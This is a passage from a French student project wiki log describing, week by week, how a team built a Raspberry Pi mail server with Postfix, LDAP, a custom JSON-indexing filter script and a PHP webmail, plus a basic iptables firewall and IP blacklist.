* 2,10s sur une connexion mobile 3G moyenne (4MB/s)&lt;br /&gt;
* 1,90s sur une  connexion 4G moyenne (15MB/s)&lt;br /&gt;
* 2,80s sur une connexion DSL moyenne (2MB/s)&lt;br /&gt;
* 1,90s sur une connexion Wifi (30MB/s)&lt;br /&gt;
* 1,70s sur une connexion THD (100MB/s)&lt;br /&gt;
Résultats qui semble apporter bon compris poids/qualité de l'interface.&lt;br /&gt;
&lt;br /&gt;
Nous avons alors déployé cette interface, dans un dossier /var/www/webmail/, puis ajouté le VirtualHost correspondant à notre site dans la configuration apache&lt;br /&gt;
 Config à venir, quelqu'un a éteint tutur06, notre raspberry est donc off :(&lt;br /&gt;
&lt;br /&gt;
===Semaine 6 (26/10/2015)===&lt;br /&gt;
==== Firewall ====&lt;br /&gt;
Etant donné que nous avons subi plusieurs tentatives de connexion SSH frauduleuses sur notre serveur, nous avons décidé de mettre en place un semblant de sécurité sur ce dernier. Nous avons donc écrit un petit script iptables simples pour filtrer les entrées. Celui ci se contente de bloquer tout les paquets entrant et de laisser passer les paquets par les ports ou nous avions vraiment besoin (ici SSH, HTTP, HTTPS, DNS, NTP, SMTP, POP3 et IMAP).&lt;br /&gt;
Après discussion, nous avons resserré davantage nos règles. Désormais le SSH n'est autorisé que pour des adresses ip spécifiées dans un fichier de liste blanche.&lt;br /&gt;
&lt;br /&gt;
Nous avons aussi repéré dans le fichier /var/loh/auth.log plusieurs tentatives de connexions. Dans un premier temps nous avions cru à un problème de configuration de notre structure. Après avoir vérifié dans le log /var/log/syslog nous nous sommes aperçu qu'il s'agissait de connexions depuis des ip extérieures qui nous sont inconnues. Etant donné le nombre d'essais nous pensons que c'était une tentative d'intrusion sur le serveur SMTP par bruteforce. Comme première approche de contre-mesure nous avons pris le parti de constituer une liste noire. En effet ici nous n'avons pas le choix de laisser le port 25 (SMTP) ouvert. Pour cela nous avons utilisé les commandes :&lt;br /&gt;
 cat /vat/log/syslog | grep SASL\ LOGIN\ authentication\ failed                           # Pour lister les messages de connexion échouées&lt;br /&gt;
 sed -ne 's/.*\[\([0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}\)\].*/\1/p'      # Pour n'afficher que les ip&lt;br /&gt;
 *file* | sort | uniq                                                                     # Pour classer et éliminer les doublons&lt;br /&gt;
&lt;br /&gt;
On peut ensuite vérifier que les ip listées sont bien inconnues. Nous avons ainsi constitué une liste noire de 23 adresses ip.&lt;br /&gt;
&lt;br /&gt;
==== Postfix ====&lt;br /&gt;
Nous avons installé l'agent de transfert de mail Postfix (&amp;lt;code&amp;gt;apt-get install postfix postfix-ldap&amp;lt;/code&amp;gt;) sur la raspberry et configuré celui ci en accord avec notre base de données LDAP. Après un test d'envoi via telnet :&lt;br /&gt;
 telnet ex 25&lt;br /&gt;
 Trying xxx.xxx.xxx.xxx...&lt;br /&gt;
 Connected to intimail.pw.&lt;br /&gt;
 Escape character is '^]'.&lt;br /&gt;
 220 mail.intimail.pw&lt;br /&gt;
 ehlo intimail.pw&lt;br /&gt;
 250-mail.intimail.pw&lt;br /&gt;
 250-PIPELINING&lt;br /&gt;
 250-SIZE 10240000&lt;br /&gt;
 250-VRFY&lt;br /&gt;
 250-ETRN&lt;br /&gt;
 250-ENHANCEDSTATUSCODES&lt;br /&gt;
 250-8BITMIME&lt;br /&gt;
 250 DSN&lt;br /&gt;
 MAIL FROM:toto(arobase)titi.com&lt;br /&gt;
 250 2.1.0 Ok&lt;br /&gt;
 RCPT TO:jvaljean(arobase)intimail.pw&lt;br /&gt;
 250 2.1.5 Ok&lt;br /&gt;
 DATA&lt;br /&gt;
 354 End data with &amp;lt;CR&amp;gt;&amp;lt;LF&amp;gt;.&amp;lt;CR&amp;gt;&amp;lt;LF&amp;gt;&lt;br /&gt;
 Subject: Premier Test&lt;br /&gt;
 Here is my test&lt;br /&gt;
 .&lt;br /&gt;
 250 2.0.0 Ok: queued as 0EDFC21428&lt;br /&gt;
 quit&lt;br /&gt;
 221 2.0.0 Bye&lt;br /&gt;
 Connection closed by foreign host.&lt;br /&gt;
&lt;br /&gt;
Il est maintenant intéressant de tester notre DNS avec un outil en ligne. Nous avons ici utilisé l'excellent [http://www.dnsstuff.com dnsstuff] pour cela. C'est grâce à ce dernier que nous avons pu corriger les erreurs de notre serveur mail, à savoir :&lt;br /&gt;
*SMTP Greeting : Il permet de faire en sorte que le serveur mail est reconnu par les autres serveurs. Cela évite que certains serveurs ne refusent les mails provenant d'intimail.pw.&lt;br /&gt;
*Acceptance of abuse/postmaster : Les serveurs mails doivent avoir deux adresses abuse@... et postmaster@... . Nous avons donc créé ces deux boîtes mail pour répondre à ces conditions&lt;br /&gt;
&lt;br /&gt;
==== Cyrus SASL ====&lt;br /&gt;
&lt;br /&gt;
Nous avons implémenté l'authentification sur le serveur SMTP en SASL avec Cyrus. Après configuration, on peut maintenant envoyer des mail depuis notre serveur sur un serveur extérieur tel que gmail. &lt;br /&gt;
&lt;br /&gt;
==== LDAP ====&lt;br /&gt;
&lt;br /&gt;
Nous avons créé quelques utilisateurs LDAP pour peupler notre répertoire, contenant diverses informations utiles, afin de pouvoir commencer à implémenter une API d'authentification et réaliser divers essais sur l'interface web. Nous avons aussi ajouté un champ quota dans les informations des utilisateurs. A première vue ce champ pourra être utilisé avec le serveur IMAP et POP3. Cependant, afin d'éviter d'installer des services supplémentaires, nous choisissons de nous orienter dans une autre direction. Postfix nous permet à l'heure actuelle d'envoyer et recevoir des mails avec nos utilisateurs virtuels, et stocke chaque mail dans un fichier sur le système. L'interface web peut donc, sans Dovecot ou serveurs IMAP/POP3, parser par elle-même les mails reçus et préparer un envoi. Il nous faut, en prenant cette voie, réfléchir à l'implémentation des quotas, non gérés par PostFix. L'idée serait de lancer un script quand Postfix reçoit un mail, avant de le stocker sur le système, et de vérifier que la taille de ce mail + de ceux déjà reçu/envoyés par avant ne dépasse pas le quota attribué à un utilisateur, et rejeter le mail à l'expéditeur si on va dépasser alors le quota.&lt;br /&gt;
&lt;br /&gt;
==== Web ====&lt;br /&gt;
&lt;br /&gt;
Nous avons modifié le template de site web en accord avec nos objectifs. L'utilisateur doit d'abord se connecter avec ses identifiants LDAP (uid et mot de passe correspondant à son unique Distinguished Name (DN: cn=jvaljean,dc=people,dc=mail,dc=intimail,dc=pw). Une fois connecté, il tombe sur une interface que l'on pourrait appeler une &amp;quot;vue globale&amp;quot;, réunissant les informations principales : le nombre de nouveaux mails, l'utilisation actuelle de son quota sur le disque, les quelques derniers mails reçus, et un calendrier afin de se repérer simplement niveau date.&lt;br /&gt;
Sur le côté, il est possible d'aller voir plus en détail l'inbox où se trouvent tous les mails reçus, ou encore aller voir les messages envoyés, et supprimer les courriels dans la poubelle. Si l'utilisateur est administrateur, il a aussi accès à un onglet &amp;quot;Manage&amp;quot; d'où il pourra prendre fonction de ses pleins pouvoirs. Cette dernière fonctionnalité n'étant pas encore implémentée, tout utilisateur voit pour l'instant cet onglet.&lt;br /&gt;
&lt;br /&gt;
Toute la journée du mardi le code web a été réaménagé et modulé. Nous réfléchissons désormais au stockage et à la récupération de l'état instantané du quota mail (stocker cette valeur dans un fichier, ou en fait un attribut supplémentaire d'un utilisateur LDAP, où est d'ailleurs déjà stocké son quota max). L'idée est de ne pas trop solliciter le système et d'incrémenter ou décrémenter une variable à chaque réception/envoi de mail plutôt que recalculer entièrement la taille du dossier où sont les mails. On pourra en outre envisager de mettre en place une tâche périodique (via CRON) qui vérifiera en heures creuses que la taille du dossier mail est bien égale au quota en variable dans le système.&lt;br /&gt;
&lt;br /&gt;
Par la suite il a été convenu de supprimer Apache et de le remplacer par le serveur web Lighttpd, plus léger et plus performant. Pour la configuration, on rajoute simplement un hôte au fichier /etc/lighttpd/lighttpd.conf auquel on fournit notamment le chemin d'accès aux fichiers du site, ou encore les clés pour SSL. Nous avons alors réinstallé PHP et nous l'avons reconfiguré et activé pour Lighttpd. Enfin, l'activation du mod_rewrite et la mise en place de règles différentes de celles d'Apache (qui font la même chose mais à la sauce Lighttpd) nous permettent de conclure cette migration en environ 25-30min (!).&lt;br /&gt;
Le mod_rewrite, un peu gadget nous l'avouons, permet chez nous de résoudre une URL de type www.domaine.com/page.php en écrivant simplement www.domaine.com/page. On atteint donc la page de connexion de notre webmail par [https://www.intimail.pw/login https://www.intimail.pw/login].&lt;br /&gt;
Nous avons en outre pu préciser la suite de notre projet. L'idée est d'avoir 2 ports sur lequel Postfix écoute (disons *:25 et localhost:10025). A réception d'un email sur *:25, postfix est configuré pour lancer un script que nous réalisons. Ce script vérifie le quota de l'utilisateur, si le mail reçu ne le dépasse pas il transfère alors le mail à localhost:10025 qui l'accepte et écrit le mail sur le disque de manière normale. Sinon, il renvoie un code d'erreur et le mail n'est pas accepté. De plus, le script mettra à jour un index dans un fichier propre à chaque utilisateur que le webmail lira. En somme, l'utilisation de fichiers quota et index évite à l'interface web de vérifier entièrement les dossiers et sous-dossiers mail à chaque actualisation de la page, ce qui créerait une charge énorme pour la Pi. On s'abstient en plus d'installer Dotecove/Un serveur IMAP/Un serveur POP grâce à notre webmail et nos scripts qui gèrent tout et uniquement ce dont nous avons besoin.&lt;br /&gt;
Notre architecture s'oriente donc sur les schémas suivants :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Pfe1516_09-classicmail.PNG|600px|thumb|center|A classical mail server infrastructure]]&lt;br /&gt;
[[Fichier:Pfe1516_09-ourmail.PNG|600px|thumb|center|Our light mail server infrastructure]]&lt;br /&gt;
&lt;br /&gt;
==== Scripting ====&lt;br /&gt;
&lt;br /&gt;
Nous avons écrit un script perl pour envoyer des mails de manière automatique. Précisons que nous avons dû installer &amp;lt;code&amp;gt;libswitch-perl&amp;lt;/code&amp;gt; pour pouvoir l'utiliser. Ce package devra être ajouté dans les dépendances lors de la constitution du fichier d'installation de notre outil.&lt;br /&gt;
&lt;br /&gt;
===Semaine 7 (02/11/2015) - Architecture du système de fichiers ===&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Pfe1516_09-archi.PNG|600px|thumb|center|File system architecture]]&lt;br /&gt;
&lt;br /&gt;
Notre système s'articule autour de 2 chemins distincts. A droite en rouge, l'architecture classique par défaut de postfix. Les mails reçus sont enregistrés par défaut dans un dossier par utilisateur et par domaine, dans le dossier new. A gauche notre architecture greffée, dans un sous dossier différent, par utilisateur et par domaine. Dans ces sous-dossiers, on distingue alors 2 dossiers et 1 fichier. &lt;br /&gt;
* Le fichier contient la valeur actuelle du quota de l'utilisateur. On préfère cette méthode plutôt que de faire calculer l'espace disque disponible dans un dossier par le système à chaque fois. On fera tourner un script, de nuit, périodiquement, pour vérifier que le quota correspond bel et bien à la valeur dans le fichier, pour éviter d'incrémenter/décrémenter une erreur. &lt;br /&gt;
* Un dossier mail, dans lequel sont stockés les mails envoyés&lt;br /&gt;
* Un dossier json, dans lequel sont stockés les conteneurs json, qui contiennent les en-têtes des mails envoyés, reçus, spams et poubelles. On accède donc à toutes les infos utiles au webmail en lisant ces json, plutôt que de lire à chaque fois tous les mails, ce qui serait extrêmement lourd et lent.&lt;br /&gt;
&lt;br /&gt;
===Semaine 8 (09/11/2015) - Postfix et filtrage===&lt;br /&gt;
Nous avons établi une première version de notre script de traitement des mails arrivant sur le serveur. Nous nous sommes inspirés pour cela de la configuration proposée dans le [http://www.postfix.org/FILTER_README.html manuel] de Postfix. La configuration se fait via le fichier &amp;lt;code&amp;gt;master.cf&amp;lt;/code&amp;gt;. Ce fichier permet de configurer tout les processus utilisés par Postfix pour fonctionner. Dans notre cas, il nous permet de déclarer un service de filtrage et d'indiquer au démon qui récupère les mails entrants (smtpd) de les transférer à ce service via un programme pipe. La configuration se fait de la manière suivante :&lt;br /&gt;
&lt;br /&gt;
 # ==========================================================================&lt;br /&gt;
 # service type  private unpriv  chroot  wakeup  maxproc command + args&lt;br /&gt;
 #               (yes)   (yes)   (yes)   (never) (100)&lt;br /&gt;
 # ==========================================================================&lt;br /&gt;
 smtp       inet  n       -       -       -       -       smtpd&lt;br /&gt;
   -o content_filter=filter&lt;br /&gt;
 filter     unix  -       n       n       -       5       pipe&lt;br /&gt;
   flags=Rq user=vmail null_sender=&lt;br /&gt;
   argv=/path/to/script $queue_id $size $sender $recipient&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Nous avons décidé de suivre la même structure que dans le manuel de Postfix. C'est à dire que postfix fait appel à un script de filtrage principal, qui va lui même faire appel à d'autres scripts répondant à des besoins plus spécifiques. Pour l'instant, le script va parser certaines informations des mails entrant dans des fichier .json, qui servent de base de données. En voici un exemple :&lt;br /&gt;
 [&lt;br /&gt;
  {&lt;br /&gt;
    &amp;quot;from&amp;quot;: &amp;quot;michel.drucker@gmail.com&amp;quot;,&lt;br /&gt;
    &amp;quot;subject&amp;quot;: &amp;quot;Vivement dimanche&amp;quot;,&lt;br /&gt;
    &amp;quot;timestamp&amp;quot;: &amp;quot;2015-11-8 19:59:53&amp;quot;,&lt;br /&gt;
    &amp;quot;unixtimestamp&amp;quot;: &amp;quot;1447012793&amp;quot;,&lt;br /&gt;
    &amp;quot;queueid&amp;quot;: &amp;quot;48FE03FA87&amp;quot;,&lt;br /&gt;
    &amp;quot;filepath&amp;quot;: &amp;quot;???&amp;quot;,&lt;br /&gt;
    &amp;quot;size&amp;quot;: &amp;quot;1676&amp;quot;,&lt;br /&gt;
    &amp;quot;status&amp;quot;: &amp;quot;0&amp;quot;,&lt;br /&gt;
    &amp;quot;pj&amp;quot;: &amp;quot;0&amp;quot;,&lt;br /&gt;
    &amp;quot;id&amp;quot;: &amp;quot;0&amp;quot;,&lt;br /&gt;
    &amp;quot;to&amp;quot;: &amp;quot;jbond@intimail.pw&amp;quot;&lt;br /&gt;
  }&lt;br /&gt;
 ]&lt;br /&gt;
Il serait également intéressant d'ajouter un champ permettant d'indiquer le chemin du fichier contenant le mail. Cependant au moment de l'exécution, même si nous avons accès au contenu du fichier, il est à priori impossible de connaître le nom définitif du fichier (il y a une part d'aléatoire). Ils serviront à l'affichage des mails dans les boîtes de réception dans le webmail. On pourra par la suite ajouter d'autres scripts permettant par exemple de vérifier la nature du message ou encore son contenu (Antivirus / Antispam / Pièces jointes).&lt;br /&gt;
&lt;br /&gt;
Il est intéressant également de pointer ici que le fichier de configuration permet de préciser l'utilisateur qui va exécuter le script de filtrage. Ici nous avons mis &amp;lt;code&amp;gt;user=vmail&amp;lt;/code&amp;gt;. Le script de filtrage s'exécutera donc en tant que vmail. Or pour l'interface, il faut qu'apache puisse accéder aux fichiers écrits par des processus de vmail. Pour les fichiers .json, écrits par le script de filtrage décrit plus haut, la solution du relativement simple. Il a suffit d'ajouter quelques commandes chmod pour autoriser la lecture et éventuellement l'écriture au groupe. Nous avons ensuite ajouté www-data au groupe vmail.&lt;br /&gt;
&lt;br /&gt;
Quant aux fichiers contenant les mails, ceux ci sont écrits par postfix, et nous n'avons pour l'instant pas trouvé le moyen d'autoriser l'accès à ces fichiers par www-data. Ce problème, ainsi que la difficulté à récupérer le nom du fichier (décrit plus haut), nous pousse à nous demander si le délivrement des mails ne devrait pas être géré par un programme de notre confection, plutôt que le programme sendmail de postfix. En théorie, cette méthode répond parfaitement aux deux problèmes mais sendmail propose certainement une gestion plus aboutie que nous ne saurons reproduire dans un temps limité.&lt;br /&gt;
&lt;br /&gt;
===Semaine 9 (16/11/2015)===&lt;br /&gt;
===Semaine 10 (23/11/2015)===&lt;br /&gt;
===Semaine 11 (30/11/2015)===&lt;br /&gt;
&lt;br /&gt;
Nous avons travaillé sur le parser de mails et tentons d'implémenter notre architecture de fichiers.&lt;br /&gt;
&lt;br /&gt;
D'autre part, nous avons travaillé l'interface web. Le contenu des tables affichant les en-tête des mails étant généré dynamiquement en fonction du fichier .json, il est impossible d'ajouter des balises &amp;lt;a href&amp;gt; pour rendre ces en-têtes cliquables pour afficher le contenu d'un mail.&lt;br /&gt;
&lt;br /&gt;
La solution retenue et implémentée est d'utiliser un événement JavaScript. Pour une table avec un ''id'' table, on récupère l'en-tête cliquée à l'aide de la fonction JavaScript suivante :&lt;br /&gt;
 $('#table').on('click-row.bs.table', function (e, row, $element) {&lt;br /&gt;
     console.log(row, $element);&lt;br /&gt;
     alert(&amp;quot;L'utilisateur d'intimail a cliqué sur &amp;quot;+row);&lt;br /&gt;
 });&lt;br /&gt;
&lt;br /&gt;
On peut donc récupérer l'en-tête du fichier, plus spécifiquement le champ contenant le chemin vers le fichier mail brut. On pourra alors envoyer ce chemin dans une variable à l'aide d'une requête POST lancée dans la fonction ci-dessus avec AJAX, et être emmené vers une page qui traitera et affichera à l'utilisateur ce fichier mail brut.&lt;br /&gt;
&lt;br /&gt;
===Semaine 12 (07/12/2015)===&lt;br /&gt;
==== Parseur pour les mails entrants ====&lt;br /&gt;
Comme nous l'avons dit à la semaine , nous avions rencontré un problème lors de la réception des mails. Pour resituer le problème : lors de la réception d'un mail, nous avons créé un hook pour postfix, qui s'exécute lors de la réception d'un email. La difficulté étant qu'au moment de cette exécution, les fichiers contenant les mails ne sont pas écrits dans le système de fichier, rendant impossible la récupération des noms de fichier. De plus, ces fichiers comportent les permissions 600 pour l'utilisateur et le groupe vmail:vmail.&lt;br /&gt;
&lt;br /&gt;
La solution que nous proposons est de détacher le processus de parsing au moment de l'appel du script. De cette manière, le mail peut être délivré correctement et passe quand même dans le script de parsing, nous permettant ainsi de récupérer les mails et les informations critiques. On peut même en profiter pour appliquer les droits dont nous avons besoin. A priori, il suffirait juste d'autoriser le groupe vmail en lecture et d'ajouter www-data à ce groupe pour pouvoir afficher le contenu des mails dans l'interface Web. Résumons schématiquement le processus :&lt;br /&gt;
 Un mail arrive&lt;br /&gt;
   Le hook de postfix est exécuté&lt;br /&gt;
     Le mail est envoyé via Sendmail --------------------------------------------------------------&amp;gt; Le mail est en attente de délivrement&lt;br /&gt;
     Le script de parsing est lancé                                                                   |&lt;br /&gt;
       Le script vérifie dans les dossiers la présence du nouveau mail                                |&lt;br /&gt;
       et réessaye un certain nombre de fois tant que tout les destinataires ne sont pas traités      |&lt;br /&gt;
        |                                                                                             v&lt;br /&gt;
        |                                                                                            Le mail est délivré et existe dans le système de fichier&lt;br /&gt;
        v                                                                                             |&lt;br /&gt;
       Le script a trouvé le fichier et le traite &amp;lt;----------------------------------------------------&lt;br /&gt;
 Fin&lt;br /&gt;
&lt;br /&gt;
Nous avons aussi un peu réduit le contenu des éléments json en retirant le champ filepath. Les fichiers mails sont déplacés dans un dossier et renommés suivant le modèle &amp;lt;code&amp;gt;$unixtimestamp.$queueid&amp;lt;/code&amp;gt;. Si nous rencontrons des collisions de noms (ce qui devrait théoriquement ne pas arriver) nous garderons les noms de fichier standard de postfix et restaurerons le champ &amp;lt;code&amp;gt;filepath&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
====Interface Web====&lt;br /&gt;
L'interface web progresse, et la page d'accueil est désormais totalement terminée et dynamique. Comme on peut le voir sur l'image ci-dessous, la nombre de mails dans la boite de réception, dans la poubelle, et le quota sont retrouvés et calculés dynamiquement, et ce en chargeant simplement les fichiers .json d'en-tête que nous avons crée, ce qui évite au système des calculs lourds. En outre le bouton &amp;quot;Write an email&amp;quot;, présent dans la barre de navigation en haut mais aussi en gros sur la page d'accueil permet d'ouvrir une fenêtre pour écrire un email. L'envoi fonctionne parfaitement sur le réseau interne de l'école (nous devons encore passer la Raspberry sur un modem en dehors de Polytech pour éviter les foudres du CRI.), et ne devrait poser aucun problème une fois cette histoire de filtrage bypassée. Nous savons aussi envoyer des pièces-jointes, pour l'instant en dur pour la Proof of Concept, nous implémenterons bientot la possiblité à un utilisateur de téléverser son propre fichier (à taille raisonnable). Nous réflechissons au stockage de la PJ : serveur distant ?&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Pfe1516_09-homepage.PNG|1000px|thumb|center|Webmail Home Page]]&lt;br /&gt;
&lt;br /&gt;
===Semaine 13 (14/12/2015)===&lt;br /&gt;
&lt;br /&gt;
* Écriture du rapport intermédiaire&lt;br /&gt;
* Réalisation du support de soutenance&lt;br /&gt;
&lt;br /&gt;
===Semaine 14 (04/01/2016)===&lt;br /&gt;
&lt;br /&gt;
* Écriture d'un guide d'une bonne dizaine de pages détaillant l'installation du système intimail point par point&lt;br /&gt;
* Début de réécriture des scripts shell en perl pour des raisons d'optimisation&lt;br /&gt;
&lt;br /&gt;
===Semaine 15 (11/01/2016)===&lt;br /&gt;
&lt;br /&gt;
Poursuite de la longue réécriture du code shell en perl.&lt;br /&gt;
&lt;br /&gt;
===Semaine 16 (18/01/2016)===&lt;br /&gt;
&lt;br /&gt;
Côté web : Début du travail sur les pièces jointes, manque par contre l'affichage des PJ quand on ouvre un mail depuis l'interface. Manque la mise à 1 de l'attribut &amp;quot;pj&amp;quot; quand une pièce jointe est présente.&lt;br /&gt;
&lt;br /&gt;
Côté serveur : La complexité du script permettant l'extraction des informations des mails devenant trop importante, nous avons pris le parti de réécrire le code dans un langage un peu plus simple : le Perl. Il permettra d'éviter l'utilisation de (nombreuses) variables d'environnement, tout en proposant des performances accrues.&lt;br /&gt;
&lt;br /&gt;
===Semaine 17 (25/01/2016)===&lt;br /&gt;
&lt;br /&gt;
Côté web :&lt;br /&gt;
* Poursuite du travail sur les pièces jointes : envoi OK, types supportés GIF, JPG, PNG, PDF, ZIP, vérification par extension MIME, taille max d'une PJ variabilisé.&lt;br /&gt;
* Travail sur l'en-tête des mails envoyés : résolu un bug qui disait qu'une pièce jointe était présente même quand on envoyait que du texte (type text/html quand pas de PJ au lieu de type data/multipart tout le temps dans le header mail)&lt;br /&gt;
* Gros travail sur les fichiers d'en-tête JSON : fonctions PHP de suppression d'un mail (fichier sur le disque et suppression dans l'en-tête JSON), fonctions de mise à jour du quota à l'envoi (réception fonctionnel aussi), fonctions d'ajout d'un mail (fichier sur le disque et en-tête JSON)&lt;br /&gt;
* Interface : gestion des différentes boites : les mails écrits se retrouvent dans &amp;quot;Envoyés&amp;quot;, les mails reçus dans &amp;quot;Boite de réception&amp;quot;, manque que le flag comme spam pour les mettre dans la boite à spam, mais la boite est déjà là en tout cas&lt;br /&gt;
&lt;br /&gt;
Côté serveur : Implémentation de la gestion des quotas. Quand un mail arrive, chaque destinataire voit son quota contrôlé pour déterminer si oui ou non le mail peut être délivré. Comme nous l'avions dit précédemment, postfix gère le rebond des mails grâce au code de terminaison du script. Or nous à priori il va falloir proposer une solution maison pour pouvoir le faire. En effet, si un mail est refusé pour cause de quota plein, le mail reçu est tout bonnement supprimé sans notifier ni le destinataire, ni l'envoyeur.&lt;br /&gt;
&lt;br /&gt;
===Semaine 18 (01/02/2016)===&lt;br /&gt;
&lt;br /&gt;
Côté web : &lt;br /&gt;
* Identification d'un administrateur ou simple utilisateur&lt;br /&gt;
* Début de création de la page de gestion des comptes : une page administrateur permettant de régler quelques variables (par ex: taille max des PJ, nom de domaine, création d'un compte...), et de sélectionner un utilisateur existant redirigeant vers...&lt;br /&gt;
* ... une page de gestion d'un compte particulier sélectionné au préalable, permettant de changer l'UID, le nom de la personne, le quota, le mot de passe, ou de supprimer le compte&lt;br /&gt;
* Configuration générale du webmail (variables nom de domaine, identification de l'administrateur LDAP, port LDAP...) via un fichier config.php à part contenant ces valeurs. &lt;br /&gt;
* Création d'une fonction permettant de modifier un paramètre de la configuration par lecture/modification/réécriture du fichier de config.&lt;br /&gt;
* Après une journée de prise de tête : configuration via un conteneur JSON, plus simple à manipuler pour en modifier les paramètres depuis l'interface. Le fichier se nomme désormais config.inc. Un soin est apporté à l'interdiction d'accès aux fichiers &amp;quot;.inc&amp;quot; : dans la barre d'adresse en accès au fichier le client reçoit une erreur 403, cela évite que n'importe qui puisse voir le contenu du fichier et les précieux identifiants du serveur LDAP... tout en laissant à l'utilisateur web www-data la lecture du fichier pour son usage.&lt;br /&gt;
&lt;br /&gt;
Côté serveur :&lt;br /&gt;
Mise en place d'un système de récupération des pièces jointes. Pour cela nous utiliserons la commande munpack du paquet mpack. Cette commande permet de décomposer un fichier mail pour notamment en récupérer les pièces jointes. De plus, après test et concertation, nous nous sommes rendu compte qu'il serait intéressant d'utiliser cette même commande pour extraire les messages des mails, évitant ainsi un chargement assez long sur l'interface graphique.&lt;br /&gt;
&lt;br /&gt;
===Semaine 19 (08/02/2016)===&lt;br /&gt;
Côté Web :&lt;br /&gt;
* Implémentation du back-end des fonctions de gestion d'un compte : changement UID, mot de passe, nom+prénom, quota, tout fonctionne.&lt;br /&gt;
* Suppression d'un compte : fonctionnelle&lt;br /&gt;
* Création d'un compte : fonctionnelle&lt;br /&gt;
* Création d'une fonction permettant d'ajouter un utilisateur à une liste/un groupe donné(e) : OK&lt;br /&gt;
* Création d'une fonction permettant de supprimer un utilisateur d'une liste/un groupe donné(e) : OK&lt;br /&gt;
* Création d'une fonction permettant de lister les groupes existants : OK&lt;br /&gt;
* Création d'une fonction permettant de créer/supprimer un groupe : OK&lt;br /&gt;
&lt;br /&gt;
Au 10/02, on peut créer des comptes, les dossiers sont crées sur le système sans problème à réception d'un mail de bienvenue, on peut envoyer et recevoir des messages, donner les droits d'administrations, gérer la configuration du webmail depuis l'interface, gérer les utilisateurs et leurs attributs depuis l'interface, tout semble prêt relativement au cahier des charges initial. Nous allons migrer notre installation sur une autre IP et autre domaine.&lt;br /&gt;
&lt;br /&gt;
Côté serveur :&lt;br /&gt;
Croyant que les fonctionnalités demandées étaient implémentées, nous nous sommes rendu compte après tests que les mails envoyés d'un compte Intimail à un autre compte Intimail n'apparaissaient pas. Ceci était du au fait que le script utilisé n'était activé que lors de la réception d'un mail par le réseau (serveur smtp). Nous avons donc modifié la manière donc les mails sont passés au script, en ajoutant une règle dans &amp;lt;code&amp;gt;master.cf&amp;lt;/code&amp;gt; :&lt;br /&gt;
 mailrte    unix  -       n       n       -       5       pipe&lt;br /&gt;
   flags=Rq user=vmail null_sender=&lt;br /&gt;
   argv=/home/moth/Documents/pfe/postfix/json_parser.pl $queue_id $size $sender $recipient&lt;br /&gt;
Pas de grande nouveauté ici. Dans le fichier &amp;lt;code&amp;gt;main.cf&amp;lt;/code&amp;gt; :&lt;br /&gt;
 virtual_transport = mailrte&lt;br /&gt;
&lt;br /&gt;
Ces commandes passent TOUT les mails au script défini via l'entrée standard. C'est notre script qui doit alors se débrouiller pour délivrer les mails (précédemment, postfix se chargeait toujours d'écrire les fichiers). Encore une fois, nous avons donc dû modifier notre programme en conséquence.&lt;br /&gt;
&lt;br /&gt;
===Semaine 20 (15/02/2016)===&lt;br /&gt;
Nous avons migré la raspberry d'une IP interne au réseau Polytech vers une IP externe. La migration s'est passée sans aucun problème, le plus long étant d'attendre que les zones DNS se propagent (cela a bien pris 1 heure !). Nous sommes donc passés de 193.48.57.171 vers 5.23.44.85.&lt;br /&gt;
Nous émettons enfin des mails vers les serveurs extérieurs (en particulier Google Mail, Microsoft Live...). La théorie de départ que nos échecs d'envoi étaient dû aux restrictions du CRI s'est donc bien vérifiée : plus aucun problème juste en migrant.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Finalisation de la gestion des PJs : en cas de mail contenant une pièce jointe, un bandeau permet d'ouvrir chacune d'entre-elles dans un nouvel onglet. La pièce jointe en base 64 dans le fichier mail brut est reconstruite dans un dossier accessible au serveur web puis supprimée pour un gain de place (le fichier d'origine ou reconstruit est plus petit en taille que sa version encodée en base 64, on optimise donc ainsi le quota et l'espace disque).&lt;br /&gt;
&lt;br /&gt;
Corrections de bogues d'encodage des mails entre ISO et UTF8.&lt;br /&gt;
&lt;br /&gt;
Travail sur la création d'un paquet Debian.&lt;br /&gt;
&lt;br /&gt;
===Semaine 21 (22/02/2016)===&lt;br /&gt;
&lt;br /&gt;
* Tournage de la vidéo du projet avec Laurent Engels du service Communication&lt;br /&gt;
* Fin de la rédaction du rapport final de PFE&lt;br /&gt;
* Rédaction du diaporama de présentation orale du PFE&lt;br /&gt;
&lt;br /&gt;
== Fichiers Rendus ==&lt;br /&gt;
Interface web : [https://intimail.pw intiMail.pw]&lt;br /&gt;
&lt;br /&gt;
  &lt;br /&gt;
Rapport de Mi-Projet : [http://projets-imasc.plil.net/mediawiki/images/2/23/P9_LIBAERT_TENEUR_DEC15.pdf ICI]&lt;br /&gt;
  &lt;br /&gt;
Rapport de Projet : [http:// Soon™]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Code de l'interface + README expliquant le contenu : [http://projets-imasc.plil.net/mediawiki/images/7/73/Intimail.zip intiMail.zip]&lt;br /&gt;
&lt;br /&gt;
Guide d'installation (version seule, déjà inclus dans le rapport final) : &lt;br /&gt;
&lt;br /&gt;
Vidéo de Projet : [http:// Soon™] (Tournée le 22/02 10h avec Laurent Engels)&lt;/div&gt;</summary>
		<author><name>Tteneur</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=P9_Syst%C3%A8me_d%27h%C3%A9bergement_domestique&amp;diff=27604</id>
		<title>P9 Système d'hébergement domestique</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=P9_Syst%C3%A8me_d%27h%C3%A9bergement_domestique&amp;diff=27604"/>
				<updated>2016-02-23T10:23:55Z</updated>
		
		<summary type="html">&lt;p&gt;Tteneur : /* Fichiers Rendus */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==Cahier des charges==&lt;br /&gt;
===Présentation générale du projet=== &lt;br /&gt;
====Contexte====&lt;br /&gt;
&lt;br /&gt;
